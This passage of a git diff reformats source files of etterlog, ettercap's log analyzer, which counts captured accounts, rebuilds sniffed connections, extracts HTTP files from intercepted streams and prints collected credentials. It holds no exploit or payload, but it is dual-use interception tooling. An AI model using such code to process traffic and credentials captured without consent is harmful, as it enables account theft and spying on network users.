GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -33,17 +33,16 @@ void analyze_info(void); void analyze(void) { - switch(GBL->hdr.type) { - case LOG_PACKET: - analyze_packet(); - break; - case LOG_INFO: - analyze_info(); - break; + switch (GBL->hdr.type) { + case LOG_PACKET: + analyze_packet(); + break; + case LOG_INFO: + analyze_info(); + break; } } - /* analyze a packet log file */ void analyze_packet(void) @@ -53,55 +52,53 @@ void analyze_packet(void) int tot_size, pay_size = 0; u_char *buf; struct stat st; - + fprintf(stdout, "\nAnalyzing the log file (one dot every 100 packets)\n"); - + tot_size = sizeof(struct log_global_header); - + /* read the logfile */ LOOP { - + memset(&pck, 0, sizeof(struct log_header_packet)); - + ret = get_packet(&pck, &buf); /* on error exit the loop */ if (ret != E_SUCCESS) break; - + count++; tot_size += sizeof(struct log_header_packet) + pck.len; pay_size += pck.len; - + if (count % 100 == 0) { fprintf(stderr, "."); fflush(stderr); } - + SAFE_FREE(buf); } /* get the file stat */ ret = stat(GBL->logfile, &st); ON_ERROR(ret, -1, "Cannot stat file"); - + fprintf(stdout, "\n\n"); - fprintf(stdout, "Log file size (compressed) : %d\n", (int)st.st_size); + fprintf(stdout, "Log file size (compressed) : %d\n", (int)st.st_size); fprintf(stdout, "Log file size (uncompressed) : %d\n", tot_size); - fprintf(stdout, "Compression ratio : %.2f %%\n\n", 100 - ((float)st.st_size * 100 / (float)tot_size) ); + fprintf(stdout, "Compression ratio : %.2f %%\n\n", 100 - ((float)st.st_size * 100 / (float)tot_size)); fprintf(stdout, "Effective payload size : %d\n", pay_size); - fprintf(stdout, "Wasted percentage : %.2f %%\n\n", 100 - ((float)pay_size * 100 / (float)tot_size) ); - + fprintf(stdout, "Wasted percentage : %.2f %%\n\n", 100 - ((float)pay_size * 100 / (float)tot_size)); + fprintf(stdout, "Number of packets : %d\n", count); if (count != 0) - fprintf(stdout, "Average size per packet : %d\n", pay_size / count ); + fprintf(stdout, "Average size per packet : %d\n", pay_size / count); fprintf(stdout, "\n"); - + return; } - - /* * extract data form the file * and create the host list @@ -112,21 +109,21 @@ void create_hosts_list(void) struct log_header_info inf; int ret; struct dissector_info buf; - + /* read the logfile */ LOOP { memset(&inf, 0, sizeof(struct log_header_info)); memset(&buf, 0, sizeof(struct dissector_info)); - + ret = get_info(&inf, &buf); /* on error exit the loop */ if (ret != E_SUCCESS) break; - + profile_add_info(&inf, &buf); - + SAFE_FREE(buf.user); SAFE_FREE(buf.pass); SAFE_FREE(buf.info); @@ -134,9 +131,8 @@ void create_hosts_list(void) } } - -/* - * analyze an info log file +/* + * analyze an info log file */ void analyze_info(void) @@ -144,52 +140,48 @@ void analyze_info(void) struct host_profile *h; struct open_port *o; struct active_user *u; - TAILQ_HEAD(, host_profile) *hosts_list_head = get_host_list_ptr(); + TAILQ_HEAD(, host_profile) * hosts_list_head = get_host_list_ptr(); int nhl = 0, nhnl = 0, ngw = 0; int nports = 0, nusers = 0, nhosts = 0; - - /* create the hosts' list */ - create_hosts_list(); + /* create the hosts' list */ + create_hosts_list(); TAILQ_FOREACH(h, hosts_list_head, next) { if (h->type & FP_HOST_LOCAL) nhl++; - + if (h->type & FP_HOST_NONLOCAL) nhnl++; - + if (h->type & FP_GATEWAY) ngw++; - + nhosts++; - + LIST_FOREACH(o, &(h->open_ports_head), next) { nports++; - + LIST_FOREACH(u, &(o->users_list_head), next) { nusers++; } } } - + fprintf(stdout, "\n\n"); - fprintf(stdout, "Number of hosts (total) : %d\n\n", nhosts); - fprintf(stdout, "Number of local hosts : %d\n", nhl); - fprintf(stdout, "Number of non local hosts : %d\n", nhnl); - fprintf(stdout, "Number of gateway : %d\n\n", ngw); - - fprintf(stdout, "Number of discovered services : %d\n", nports); - fprintf(stdout, "Number of accounts captured : %d\n\n", nusers); - + fprintf(stdout, "Number of hosts (total) : %d\n\n", nhosts); + fprintf(stdout, "Number of local hosts : %d\n", nhl); + fprintf(stdout, "Number of non local hosts : %d\n", nhnl); + fprintf(stdout, "Number of gateway : %d\n\n", ngw); + + fprintf(stdout, "Number of discovered services : %d\n", nports); + fprintf(stdout, "Number of accounts captured : %d\n\n", nusers); + fprintf(stdout, "\n"); - + return; } - - /* EOF */ // vim:ts=3:expandtab - diff --git a/utils/etterlog/el_conn.c b/utils/etterlog/el_conn.c index d7e2bd9b6..37eff785e 100644 --- a/utils/etterlog/el_conn.c +++ b/utils/etterlog/el_conn.c @@ -1,23 +1,23 @@ /* - etterlog -- connections module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * etterlog -- connections module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -45,8 +45,8 @@ static int insert_table(struct log_header_packet *pck, char *buf); /*******************************************/ -/* - * create the list of connections +/* + * create the list of connections */ void conn_table_create(void) { @@ -56,10 +56,9 @@ void conn_table_create(void) if (GBL->hdr.type == LOG_INFO) FATAL_ERROR("LOG_INFO files don't contain connections !"); - - + fprintf(stdout, "\nCreating the connection table...\n"); - + /* read the logfile */ LOOP { ret = get_packet(&pck, &buf); @@ -67,14 +66,13 @@ void conn_table_create(void) /* on error exit the loop */ if (ret != E_SUCCESS) break; - - count += insert_table(&pck, (char*)buf); - + + count += insert_table(&pck, (char *)buf); + SAFE_FREE(buf); } - + fprintf(stdout, "\nFound %d connection...\n\n", count); - } /* @@ -88,22 +86,22 @@ void conn_table_display(void) char ipdst[MAX_ASCII_ADDR_LEN]; SLIST_FOREACH(c, &conn_list_head, next) { - switch(c->L4_proto) { - case NL_TYPE_TCP: - strcpy(proto, "TCP"); - break; - case NL_TYPE_UDP: - strcpy(proto, "UDP"); - break; + switch (c->L4_proto) { + case NL_TYPE_TCP: + strcpy(proto, "TCP"); + break; + case NL_TYPE_UDP: + strcpy(proto, "UDP"); + break; } - + ip_addr_ntoa(&c->L3_src, ipsrc); ip_addr_ntoa(&c->L3_dst, ipdst); - - fprintf(stdout, "%s: %s:%d <--> %s:%d\n", proto, ipsrc, ntohs(c->L4_src), - ipdst, ntohs(c->L4_dst)); + + fprintf(stdout, "%s: %s:%d <--> %s:%d\n", proto, ipsrc, ntohs(c->L4_src), + ipdst, ntohs(c->L4_dst)); } - + fprintf(stdout, "\n\n"); return; @@ -122,7 +120,7 @@ static int insert_table(struct log_header_packet *pck, char *buf) if (!is_target_pck(pck)) { return 0; } - + /* search if the connection is alread present */ SLIST_FOREACH(c, &conn_list_head, next) { @@ -131,55 +129,57 @@ static int insert_table(struct log_header_packet *pck, char *buf) c->L4_src == pck->L4_src && c->L4_dst == pck->L4_dst && !ip_addr_cmp(&c->L3_src, &pck->L3_src) && - !ip_addr_cmp(&c->L3_dst, &pck->L3_dst)) { + !ip_addr_cmp(&c->L3_dst, &pck->L3_dst)) + { /* add to the stream (if necessary) */ if (GBL_OPTIONS->decode) stream_add(&c->so, pck, buf); - + return 0; } - + /* form dest to source */ if (c->L4_proto == pck->L4_proto && c->L4_src == pck->L4_dst && c->L4_dst == pck->L4_src && !ip_addr_cmp(&c->L3_src, &pck->L3_dst) && - !ip_addr_cmp(&c->L3_dst, &pck->L3_src)) { - + !ip_addr_cmp(&c->L3_dst, &pck->L3_src)) + { + /* add to the stream (if necessary) */ if (GBL_OPTIONS->decode) stream_add(&c->so, pck, buf); - + return 0; } } /* not found in the list... add it */ - + SAFE_CALLOC(c, 1, sizeof(struct conn_list)); - + c->L4_proto = pck->L4_proto; c->L4_src = pck->L4_src; c->L4_dst = pck->L4_dst; - + memcpy(&c->L3_src, &pck->L3_src, sizeof(struct ip_addr)); memcpy(&c->L3_dst, &pck->L3_dst, sizeof(struct ip_addr)); - + /* init the stream object */ stream_init(&c->so); - + /* add to the stream (if necessary) */ if (GBL_OPTIONS->decode) stream_add(&c->so, pck, buf); - + SLIST_INSERT_HEAD(&conn_list_head, c, next); - + return 1; } /* - * create the filter for the connection + * create the filter for the connection */ void filcon_compile(char *conn) @@ -190,27 +190,25 @@ void filcon_compile(char *conn) char *p; int i = 0; - /* sanity check */ + /* sanity check */ if (strlen(conn) != strspn(conn, valid)) FATAL_ERROR("CONNECTION contains invalid chars !"); /* CONN parsing */ - for(p=strsep(&conn, ":"); p != NULL; p=strsep(&conn, ":")) { + for (p = strsep(&conn, ":"); p != NULL; p = strsep(&conn, ":")) { tok[i++] = strdup(p); /* bad parsing */ - if (i > (MAX_TOK-1)) break; + if (i > (MAX_TOK - 1)) break; } if (i != MAX_TOK) FATAL_ERROR("Incorrect number of token (PROTO:IP:PORT:IP:PORT) in CONNECTION !!"); - if (!strcasecmp(tok[0], "tcp")) conn_target.L4_proto = NL_TYPE_TCP; - + if (!strcasecmp(tok[0], "udp")) conn_target.L4_proto = NL_TYPE_UDP; - /* source and dest ports */ conn_target.L4_src = htons(atoi(tok[2])); @@ -223,11 +221,9 @@ void filcon_compile(char *conn) if (ip_addr_pton(tok[3], &conn_target.L3_dst) != E_SUCCESS) FATAL_ERROR("Invalid IP address (%s)", tok[3]); - /* free the data */ - for(i=0; i < MAX_TOK; i++) + for (i = 0; i < MAX_TOK; i++) SAFE_FREE(tok[i]); - } /* @@ -239,46 +235,48 @@ int is_conn(struct log_header_packet *pck, int *versus) struct conn_list tmp; int proto = 0; int good = 0; - + memset(&tmp, 0, sizeof(struct conn_list)); - + /* if the conn_target is not initialized, accept all */ if (!memcmp(&conn_target, &tmp, sizeof(struct conn_list))) return 1; - + /* the protocol does not match */ if (conn_target.L4_proto == pck->L4_proto) proto = 1; - + /* * we have to check if the packet is complying with the filter * specified by the users. */ - + /* from source to dest */ - if ( !ip_addr_cmp(&pck->L3_src, &conn_target.L3_src) && - !ip_addr_cmp(&pck->L3_dst, &conn_target.L3_dst) && - pck->L4_src == conn_target.L4_src && - pck->L4_dst == conn_target.L4_dst && - /* the packet is from source, but we are interested only in dest */ - !GBL_OPTIONS->only_dest ) { + if (!ip_addr_cmp(&pck->L3_src, &conn_target.L3_src) && + !ip_addr_cmp(&pck->L3_dst, &conn_target.L3_dst) && + pck->L4_src == conn_target.L4_src && + pck->L4_dst == conn_target.L4_dst && + /* the packet is from source, but we are interested only in dest */ + !GBL_OPTIONS->only_dest) + { good = 1; *versus = VERSUS_SOURCE; } - + /* from dest to source */ - if ( !ip_addr_cmp(&pck->L3_src, &conn_target.L3_dst) && - !ip_addr_cmp(&pck->L3_dst, &conn_target.L3_src) && - pck->L4_src == conn_target.L4_dst && - pck->L4_dst == conn_target.L4_src && - /* the packet is from dest, but we are interested only in source */ - !GBL_OPTIONS->only_source ) { + if (!ip_addr_cmp(&pck->L3_src, &conn_target.L3_dst) && + !ip_addr_cmp(&pck->L3_dst, &conn_target.L3_src) && + pck->L4_src == conn_target.L4_dst && + pck->L4_dst == conn_target.L4_src && + /* the packet is from dest, but we are interested only in source */ + !GBL_OPTIONS->only_source) + { good = 1; *versus = VERSUS_DEST; } - + /* check the reverse option */ - if (GBL_OPTIONS->reverse ^ (good && proto) ) + if (GBL_OPTIONS->reverse ^ (good && proto)) return 1; else return 0; @@ -298,23 +296,23 @@ void conn_decode(void) /* walk thru the connections list */ SLIST_FOREACH(c, &conn_list_head, next) { - - switch(c->L4_proto) { - case NL_TYPE_TCP: - strcpy(proto, "TCP"); - break; - case NL_TYPE_UDP: - strcpy(proto, "UDP"); - break; + + switch (c->L4_proto) { + case NL_TYPE_TCP: + strcpy(proto, "TCP"); + break; + case NL_TYPE_UDP: + strcpy(proto, "UDP"); + break; } - + ip_addr_ntoa(&c->L3_src, ipsrc); ip_addr_ntoa(&c->L3_dst, ipdst); - - fprintf(stdout, "DECODING %s: %s:%d <--> %s:%d... ", proto, ipsrc, ntohs(c->L4_src), - ipdst, ntohs(c->L4_dst)); + + fprintf(stdout, "DECODING %s: %s:%d <--> %s:%d... ", proto, ipsrc, ntohs(c->L4_src), + ipdst, ntohs(c->L4_dst)); fflush(stdout); - + /* extract the files from this connection */ ret = decode_stream(&c->so); @@ -330,4 +328,3 @@ void conn_decode(void) /* EOF */ // vim:ts=3:expandtab - diff --git a/utils/etterlog/el_decode.c b/utils/etterlog/el_decode.c index a2ed90c49..356a11d28 100644 --- a/utils/etterlog/el_decode.c +++ b/utils/etterlog/el_decode.c @@ -1,54 +1,53 @@ /* - etterlog -- decode a stream and extract file from it - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * etterlog -- decode a stream and extract file from it + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include #include #ifdef HAVE_LIBGEN_H - #include +#include #endif #ifdef OS_WINDOWS - #define MKDIR(path,acc) mkdir(path) +#define MKDIR(path, acc) mkdir(path) #else - #define MKDIR(path,acc) mkdir(path,acc) -#endif +#define MKDIR(path, acc) mkdir(path, acc) +#endif /* globals */ -static SLIST_HEAD (, dec_entry) extractor_table; +static SLIST_HEAD(, dec_entry) extractor_table; struct dec_entry { u_int8 level; u_int32 type; FUNC_EXTRACTOR_PTR(extractor); - SLIST_ENTRY (dec_entry) next; + SLIST_ENTRY(dec_entry) next; }; /*******************************************/ /* - * decode the stream + * decode the stream */ int decode_stream(struct stream_object *so) { @@ -58,60 +57,58 @@ int decode_stream(struct stream_object *so) /* get the port used by the stream, looking at the first packet */ pl = TAILQ_FIRST(&so->so_head); - - /* + + /* * we should run the extractor on both the tcp/udp ports * since we may be interested in both client and server traffic. */ switch (pl->po.L4.proto) { - case NL_TYPE_TCP: - app_extractor = get_extractor(APP_LAYER_TCP, ntohs(pl->po.L4.src)); - EXECUTE_EXTRACTOR(app_extractor, so, ret); - app_extractor = get_extractor(APP_LAYER_TCP, ntohs(pl->po.L4.dst)); - EXECUTE_EXTRACTOR(app_extractor, so, ret); - break; - - case NL_TYPE_UDP: - app_extractor = get_extractor(APP_LAYER_UDP, ntohs(pl->po.L4.src)); - EXECUTE_EXTRACTOR(app_extractor, so, ret); - app_extractor = get_extractor(APP_LAYER_UDP, ntohs(pl->po.L4.dst)); - EXECUTE_EXTRACTOR(app_extractor, so, ret); - break; + case NL_TYPE_TCP: + app_extractor = get_extractor(APP_LAYER_TCP, ntohs(pl->po.L4.src)); + EXECUTE_EXTRACTOR(app_extractor, so, ret); + app_extractor = get_extractor(APP_LAYER_TCP, ntohs(pl->po.L4.dst)); + EXECUTE_EXTRACTOR(app_extractor, so, ret); + break; + + case NL_TYPE_UDP: + app_extractor = get_extractor(APP_LAYER_UDP, ntohs(pl->po.L4.src)); + EXECUTE_EXTRACTOR(app_extractor, so, ret); + app_extractor = get_extractor(APP_LAYER_UDP, ntohs(pl->po.L4.dst)); + EXECUTE_EXTRACTOR(app_extractor, so, ret); + break; } - + /* if at least one extractor has found something ret is positive */ return ret; } - /* - * add a extractor to the extractors table + * add a extractor to the extractors table */ void add_extractor(u_int8 level, u_int32 type, FUNC_EXTRACTOR_PTR(extractor)) { struct dec_entry *e; SAFE_CALLOC(e, 1, sizeof(struct dec_entry)); - + e->level = level; e->type = type; e->extractor = extractor; - SLIST_INSERT_HEAD(&extractor_table, e, next); + SLIST_INSERT_HEAD(&extractor_table, e, next); return; } - /* - * get a extractor from the extractors table + * get a extractor from the extractors table */ -void * get_extractor(u_int8 level, u_int32 type) +void *get_extractor(u_int8 level, u_int32 type) { struct dec_entry *e; void *ret; - SLIST_FOREACH (e, &extractor_table, next) { + SLIST_FOREACH(e, &extractor_table, next) { if (e->level == level && e->type == type) { ret = (void *)e->extractor; return ret; @@ -163,7 +160,7 @@ int decode_to_file(char *host, char *proto, char *file) for (p = strsep(&path, "/"); p != NULL; p = strsep(&path, "/")) { strlcat(dir, "/", sizeof(dir)); strlcat(dir, p, sizeof(dir)); - + /* the token is a directory, create it */ if (strcmp(p, basename(filetmp))) { MKDIR(dir, 0700); @@ -178,12 +175,10 @@ int decode_to_file(char *host, char *proto, char *file) SAFE_FREE(filetmp); SAFE_FREE(path); - + return fd; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/utils/etterlog/el_decode_http.c b/utils/etterlog/el_decode_http.c index 3a2d14b15..57bbe2f03 100644 --- a/utils/etterlog/el_decode_http.c +++ b/utils/etterlog/el_decode_http.c @@ -1,23 +1,23 @@ /* - etterlog -- extractor for http and proxy -- TCP 80, 8080 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * etterlog -- extractor for http and proxy -- TCP 80, 8080 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -41,18 +41,16 @@ void __init http_init(void) add_extractor(APP_LAYER_TCP, 8080, extractor_http); } - FUNC_EXTRACTOR(extractor_http) { char header[1024]; struct so_list *ret, *ret2; char host[MAX_ASCII_ADDR_LEN]; int len, fd; - char* ptr; + char *ptr; u_char *data; int client, server; - /* get the ip address of the server where the file are coming from */ if (ntohs(STREAM->side1.so_curr->po.L4.dst) == 80) { ip_addr_ntoa(&STREAM->side1.so_curr->po.L3.dst, host); @@ -63,8 +61,8 @@ FUNC_EXTRACTOR(extractor_http) } server = ~client; - - /* + + /* * steal all the files found in the stream * we only extract files requested via the GET method */ @@ -76,19 +74,19 @@ FUNC_EXTRACTOR(extractor_http) stream_move(STREAM, 4, SEEK_CUR, client); memset(header, 0, sizeof(header)); - stream_read(STREAM, (u_char*)header, 128, client); - + stream_read(STREAM, (u_char *)header, 128, client); + /* get the filename (until the first blank) */ - if ( (ptr = strchr(header, ' ')) != NULL ) + if ((ptr = strchr(header, ' ')) != NULL) *ptr = '\0'; - - /* + + /* * the browser is requesting the root. * we save this in the index.html file */ if (!strcmp(header, "/")) strcpy(header, "/index.html"); - + /* open the file for writing */ fd = decode_to_file(host, "HTTP", header); ON_ERROR(fd, -1, "Cannot create file: %s", header); @@ -103,26 +101,26 @@ FUNC_EXTRACTOR(extractor_http) close(fd); continue; } - + /* get the string until the \r */ stream_move(STREAM, 16, SEEK_CUR, server); - stream_read(STREAM, (u_char*)header, 10, server); - if ( (ptr = strchr(header, '\r')) != NULL ) + stream_read(STREAM, (u_char *)header, 10, server); + if ((ptr = strchr(header, '\r')) != NULL) *ptr = '\0'; - + len = atoi(header); - + fprintf(stdout, " %d bytes", len); - + /* search the end of the headers */ ret2 = stream_search(STREAM, "\r\n\r\n", 4, server); - + /* we need the end of the header, if not found, skip it */ if (ret2 == NULL) { close(fd); continue; } - + stream_move(STREAM, 4, SEEK_CUR, server); #if 0 @@ -130,27 +128,25 @@ FUNC_EXTRACTOR(extractor_http) stream_read(STREAM, header, 10, ret2->side); printf("header: [%s]\n", header); exit(0); -#endif - - //continue; - //printf(" move: %d", stream_move(STREAM, len, SEEK_CUR, ret2->side)); - +#endif + + // continue; + // printf(" move: %d", stream_move(STREAM, len, SEEK_CUR, ret2->side)); + SAFE_CALLOC(data, len, sizeof(u_char)); - + stream_read(STREAM, data, len, server); write(fd, data, len); SAFE_FREE(data); - + close(fd); - } } while (ret != NULL); - + return STREAM_DECODED; } - /* EOF */ // vim:ts=3:expandtab diff --git a/utils/etterlog/el_display.c b/utils/etterlog/el_display.c index f4b771ccb..c7fad3093 100644 --- a/utils/etterlog/el_display.c +++ b/utils/etterlog/el_display.c @@ -1,23 +1,23 @@ /* - etterlog -- display packets or infos - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * etterlog -- display packets or infos + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -44,17 +44,16 @@ static void print_pass(struct host_profile *h); void display(void) { - switch(GBL->hdr.type) { - case LOG_PACKET: - display_packet(); - break; - case LOG_INFO: - display_info(); - break; + switch (GBL->hdr.type) { + case LOG_PACKET: + display_packet(); + break; + case LOG_INFO: + display_info(); + break; } } - /* display a packet log file */ static void display_packet(void) @@ -64,7 +63,7 @@ static void display_packet(void) u_char *buf; u_char *tmp; int versus; - + /* read the logfile */ LOOP { ret = get_packet(&pck, &buf); @@ -78,21 +77,22 @@ static void display_packet(void) SAFE_FREE(buf); continue; } - + /* the packet should be compliant to the connection specifications */ if (!is_conn(&pck, &versus)) { SAFE_FREE(buf); continue; } - + /* if the regex does not match, the packet is not interesting */ - if (GBL_OPTIONS->regex && GBL->regex && - regexec(GBL->regex, (const char*)buf, 0, NULL, 0) != 0) { + if (GBL_OPTIONS->regex && GBL->regex && + regexec(GBL->regex, (const char *)buf, 0, NULL, 0) != 0) + { SAFE_FREE(buf); continue; } - - /* + + /* * prepare the buffer, * the max length is hex_fomat * so use its length for the buffer @@ -102,46 +102,46 @@ static void display_packet(void) /* display the headers only if necessary */ if (!GBL_OPTIONS->no_headers) display_headers(&pck); - - /* + + /* * format the packet with the function * set by the user */ ret = GBL->format(buf, pck.len, tmp); - + /* the ANSI escape for the color */ if (GBL_OPTIONS->color) { int color = 0; switch (versus) { - case VERSUS_SOURCE: - color = COL_GREEN; - break; - case VERSUS_DEST: - color = COL_BLUE; - break; + case VERSUS_SOURCE: + color = COL_GREEN; + break; + case VERSUS_DEST: + color = COL_BLUE; + break; } set_color(color); } - + /* sync stream/descriptor output and print the packet */ fflush(stdout); write(fileno(stdout), tmp, ret); - - if (GBL_OPTIONS->color) + + if (GBL_OPTIONS->color) reset_color(); - + SAFE_FREE(buf); SAFE_FREE(tmp); } if (!GBL_OPTIONS->no_headers) fprintf(stdout, "\n\n"); - + return; } /* - * display the packet headers + * display the packet headers */ static void display_headers(struct log_header_packet *pck) @@ -153,7 +153,7 @@ static void display_headers(struct log_header_packet *pck) char proto[5]; memset(flags, 0, sizeof(flags)); - + /* display the date. ec_ctime() has no newline at end. */ #if defined OS_DARWIN fprintf(stdout, "\n\n%s [%d]\n", ec_ctime(&pck->tv), pck->tv.tv_usec); @@ -167,30 +167,30 @@ static void display_headers(struct log_header_packet *pck) mac_addr_ntoa(pck->L2_dst, tmp2); fprintf(stdout, "%17s --> %17s\n", tmp1, tmp2); } - + /* calculate the flags */ if (pck->L4_flags & TH_SYN) *p++ = 'S'; if (pck->L4_flags & TH_FIN) *p++ = 'F'; if (pck->L4_flags & TH_RST) *p++ = 'R'; if (pck->L4_flags & TH_ACK) *p++ = 'A'; if (pck->L4_flags & TH_PSH) *p++ = 'P'; - + /* determine the proto */ - switch(pck->L4_proto) { - case NL_TYPE_TCP: - strcpy(proto, "TCP"); - break; - case NL_TYPE_UDP: - strcpy(proto, "UDP"); - break; + switch (pck->L4_proto) { + case NL_TYPE_TCP: + strcpy(proto, "TCP"); + break; + case NL_TYPE_UDP: + strcpy(proto, "UDP"); + break; } - + /* display the ip addresses */ ip_addr_ntoa(&pck->L3_src, tmp1); ip_addr_ntoa(&pck->L3_dst, tmp2); fprintf(stdout, "%s %s:%d --> %s:%d | %s (%u)\n", proto, tmp1, ntohs(pck->L4_src), - tmp2, ntohs(pck->L4_dst), - flags, pck->len); + tmp2, ntohs(pck->L4_dst), + flags, pck->len); } /* @@ -203,12 +203,12 @@ void set_display_regex(char *regex) char errbuf[100]; /* compile the regex */ - err = regcomp(GBL->regex, regex, REG_EXTENDED | REG_NOSUB | REG_ICASE ); + err = regcomp(GBL->regex, regex, REG_EXTENDED | REG_NOSUB | REG_ICASE); if (err) { regerror(err, GBL->regex, errbuf, sizeof(errbuf)); FATAL_ERROR("%s\n", errbuf); - } + } } /* display an inf log file */ @@ -216,10 +216,10 @@ void set_display_regex(char *regex) static void display_info(void) { struct host_profile *h; - TAILQ_HEAD(, host_profile) *hosts_list_head = get_host_list_ptr(); - + TAILQ_HEAD(, host_profile) * hosts_list_head = get_host_list_ptr(); + /* create the hosts' list */ - create_hosts_list(); + create_hosts_list(); /* don't load if the user is interested only in passwords... */ if (!GBL_OPTIONS->passwords) { @@ -239,29 +239,29 @@ static void display_info(void) fprintf(stdout, "\n", EC_VERSION, ec_ctime(NULL)); } else fprintf(stdout, "\n\n"); - + /* parse the list */ TAILQ_FOREACH(h, hosts_list_head, next) { /* respect the TARGET selection */ if (!is_target_info(h)) continue; - + /* we are searching one particular user */ if (find_user(h, GBL->user) == -E_NOTFOUND) continue; - + /* if the regex was set, respect it */ if (!match_regex(h)) continue; - + /* skip the host respecting the options */ if (GBL_OPTIONS->only_local && (h->type & FP_HOST_NONLOCAL)) continue; - + if (GBL_OPTIONS->only_remote && (h->type & FP_HOST_LOCAL)) continue; - + /* set the color */ if (GBL_OPTIONS->color) { if (h->type & FP_GATEWAY) @@ -271,47 +271,46 @@ static void display_info(void) else if (h->type & FP_HOST_NONLOCAL) set_color(COL_BLUE); } - + /* print the infos */ if (GBL_OPTIONS->passwords) - print_pass(h); + print_pass(h); else if (GBL_OPTIONS->xml) print_host_xml(h); else print_host(h); - + /* reset the color */ if (GBL_OPTIONS->color) reset_color(); } - + /* close the global tag */ if (GBL_OPTIONS->xml) fprintf(stdout, "\n"); - - fprintf(stdout, "\n\n"); + fprintf(stdout, "\n\n"); } -/* - * return 1 if h matches the regex +/* + * return 1 if h matches the regex */ static int match_regex(struct host_profile *h) { struct open_port *o; - char os[OS_LEN+1]; + char os[OS_LEN + 1]; if (!GBL_OPTIONS->regex || !GBL->regex) return 1; /* check the manufacturer */ - if (regexec(GBL->regex, manuf_search((const char*)h->L2_addr), 0, NULL, 0) == 0) + if (regexec(GBL->regex, manuf_search((const char *)h->L2_addr), 0, NULL, 0) == 0) return 1; - + /* check the OS */ - fingerprint_search((const char*)h->fingerprint, os); - + fingerprint_search((const char *)h->fingerprint, os); + if (regexec(GBL->regex, os, 0, NULL, 0) == 0) return 1; @@ -319,59 +318,55 @@ static int match_regex(struct host_profile *h) LIST_FOREACH(o, &(h->open_ports_head), next) { if (regexec(GBL->regex, service_search(o->L4_addr, o->L4_proto), 0, NULL, 0) == 0) return 1; - + if (o->banner && regexec(GBL->regex, o->banner, 0, NULL, 0) == 0) return 1; } - + return 0; } - /* - * print the ip and the account collected + * print the ip and the account collected */ static void print_pass(struct host_profile *h) { struct open_port *o; struct active_user *u; char tmp[MAX_ASCII_ADDR_LEN]; - + /* walk the list */ LIST_FOREACH(o, &(h->open_ports_head), next) { - + 